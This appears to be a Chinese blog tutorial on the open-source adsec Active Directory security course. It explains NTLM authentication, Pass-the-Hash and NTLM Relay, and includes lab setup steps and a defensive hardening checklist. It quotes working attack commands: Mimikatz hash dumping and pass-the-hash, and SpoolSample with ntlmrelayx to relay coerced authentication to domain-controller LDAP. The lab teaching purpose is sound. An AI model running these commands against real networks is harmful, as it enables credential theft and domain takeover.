NTLM 认证 3 步拆解:从一条哈希到拿下整个域,AD 安全实战指南
NTLM 认证 3 步拆解从一条哈希到拿下整个域AD 安全实战指南【免费下载链接】adsecAn introduction to Active Directory security项目地址: https://gitcode.com/gh_mirrors/ad/adsec安全分析里有个反直觉的案例密码从未外泄攻击者却以 Administrator 身份登录了服务器。元凶通常是 NTLM 认证——Windows 世界里最老的挑战-应答协议它默认哈希即凭证。adsec 是一套从零讲 Active DirectoryAD安全的开源课程slides/ 里是理论课件lab-setup/ 是实验环境搭建指南exercises/ 提供 8 个动手攻防练习NTLM 章节正是整门课的地基。这篇文章带你把 NTLM 认证的机制、两条经典攻击路径和一整套防御动作走一遍。拿不到明文密码就登不进去——这个命题不成立先给结论NTLM 场景下哈希就是钥匙。Windows 里每个账户的密码实际只以指纹形式保存即 NTLM 哈希NTHash——对密码做一次 MD4 散列得到的 16 字节值。它存在于两个地方存储位置保存谁的哈希本地 SAM 数据库本机账户如 Administrator域控上的 NTDS.dit域内所有账户NTLM 认证全程只用这个指纹不碰明文。也就是说拿到哈希不破解也能冒充该用户完成认证。这正是 Pass-the-HashPtH拿哈希当密码用能实现域内横向移动的根本原因。顺带一个企业常见坑所有机器用同一个本地管理员密码。后果是每台机器的 NTHash 完全一致攻破一台等于攻破全部。挑战-应答三步走服务器为什么从不索要密码NTLM 的设计目标是密码永不上网整个过程是三轮对话协商客户端声明自己支持的版本v1/v2与签名、加密能力挑战服务器每次生成一个随机数Challenge下发专门防止攻击者重放旧认证包认证客户端用 NTHash 作为密钥对这个随机数做运算把结果连同用户名发回服务器用自己存的哈希做同样运算结果一致即放行。一个比喻银行从不传输你的密码只让你用它对银行给的随机数加密作答。你答得和银行那边算出的一模一样就证明你握有密码——协议本身没暴露它但暴露了哈希。NTLMv1 还是 v2为什么任何场景都应禁掉 v1两个版本的本质差别在作答算法对比项NTLMv1NTLMv2响应算法基于 DES 加密 8 字节挑战基于 HMAC-MD5 的密钥散列挑战长度8 字节16 字节客户端随机数无有含时间戳上下文信息不包含包含目标信息与时间戳抗离线破解弱彩虹表可直查相对更强但仍受诟病判断很明确NTLMv1 在任何场景都应禁用。它的响应只依赖 8 字节挑战、不含任何上下文抓包后可逐条离线验证或直接查彩虹表还原口令。用组策略把网络安全LAN 管理器身份验证级别设为仅发送 NTLMv2 响应是底线动作。两条高频攻击路径PtH 与 Relay看懂机制就能看懂攻击。adsec 的练习 2 和练习 3 正是这两个主题完整步骤见 exercises/2-NTLM.md 与 exercises/3-NTLM-Relay.md。Pass-the-Hash把哈希当钥匙直接用 攻击者拿下跳板机后实验设定域用户 john 的客户端 ADSEC-00 已被攻陷用 Mimikatz 从 SAM 库提取本地管理员哈希privilege::debug lsadump::sam再用哈希直接起一个以该身份运行的 Shellsekurlsa::pth /user:Administrator /ntlm:hash /domain:doesnotmatter最后 PsExec 一条命令连到 ADSEC-01横向移动完成——全程没碰过密码。NTLM Relay让受害者主动上门认证 PtH 是我自己用你的钥匙Relay 是借你的钥匙去敲更贵的那扇门。关键前提NTLM 认证不绑定目标服务身份攻击者架好中继站就能把受害者发起的认证转发到域控 LDAP。难点在于让受害者主动来认证强制认证。实验里用 SpoolSample 利用 MS-RPRN 打印协议的缺陷触发与 PetitPotam 同类配合 ntlmrelayx 中继到域控ntlmrelayx.py --no-smb-server --delegate-access --escalate-user evilpc$ -t ldap://adsec-dc.contoso.com.\SpoolSample.exe adsec-01 adsec-0080/foobar成功后控制台会显示Delegation rights modified——攻击者已往受害计算机对象写入了委派权限为后续 Kerberos RBCD 攻击练习 6铺好路。实验环境从零搭建一键建站步骤以上攻击都可在 adsec 的官方实验环境复现步骤以 lab-setup/README.md 为准建 3 台 Windows Server 2019 虚拟机域控 ADSEC-DC 成员机 ADSEC-00/01各 2 核 4G、同子网有 Azure 账号可用 Terraform 一键部署在 ADSEC-DC 上执行 create-domain.ps1 建立 contoso.com 域重启两台成员机加域再在域控运行 domainprepare.ps1 批量创建用户、组、OU含 john、blee 两个测试用户在已被攻陷的 ADSEC-00 上把攻击工具包解压到 C:\attacker-toolszip 密码 infected运行 install-choco-and-dependencies.ps1 装好 Python、Neo4j 等依赖。注意环境里刻意埋的坑两台成员机本地管理员密码相同——这是 PtH 能打通的前置条件也正是它模拟真实企业隐患的地方。8 个练习路线表从 0 到 1 复现顺序顺序主题练习文件1侦察与信息收集exercises/1-Reconnaissance.md2NTLM 与 Pass-the-Hashexercises/2-NTLM.md3强制认证与 NTLM Relayexercises/3-NTLM-Relay.md4Kerberos Roastingexercises/4-Kerberos-Roasting.md5Kerberos 经典委派exercises/5-Kerberos-Delegation.md6资源受限委派RBCDexercises/6-Kerberos-RBCD.md7ACL 滥用exercises/7-ACL.md8攻击持久化exercises/8-Persistence.md理论课件 slides/AD-Security-101.pdf 中按节奏穿插了对应练习的引用适合讲一段、练一段。建议优先做完 2、3把 NTLM 吃透因为练习 3 写入的委派属性会直通练习 6 的 RBCD形成完整闭环。换防御视角一份可执行的加固清单攻击能复现防御同样可落地。按投入产出比排序动作挡住的风险要点强制 NTLMv2 启用 SMB 签名v1 降级、Relay组策略设置身份验证级别与签名要求启用扩展保护EPARelay 重放把认证绑定到具体 TLS 通道别处无法重放LAPS 本地管理员密码随机化PtH 横向每台机器独立随机密码斩断哈希全同分阶段限制 NTLM面过大先审计入/出站流量再拒绝最后局部禁用打补丁 监控强制认证修 MS-RPRN/MS-EFSRPC监控域控上新计算机账户 委派属性变更组合事件下一步建议先在实验室复现练习 2亲眼确认哈希能当密码用再打通练习 3 的 Relay 全链路。亲手做过一次你自然理解上表中为什么域控 LDAP 监控和 LAPS 是必做项。小贴士Relay 成功后受害计算机对象的msds-allowedtoactonbehalfofotheridentity属性是一串看似数字的 SDDL 二进制串练习 6 会用到它——现在就可以试着用 PowerShell 把它转成可读 ACL正好当热身题。【免费下载链接】adsecAn introduction to Active Directory security项目地址: https://gitcode.com/gh_mirrors/ad/adsec创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考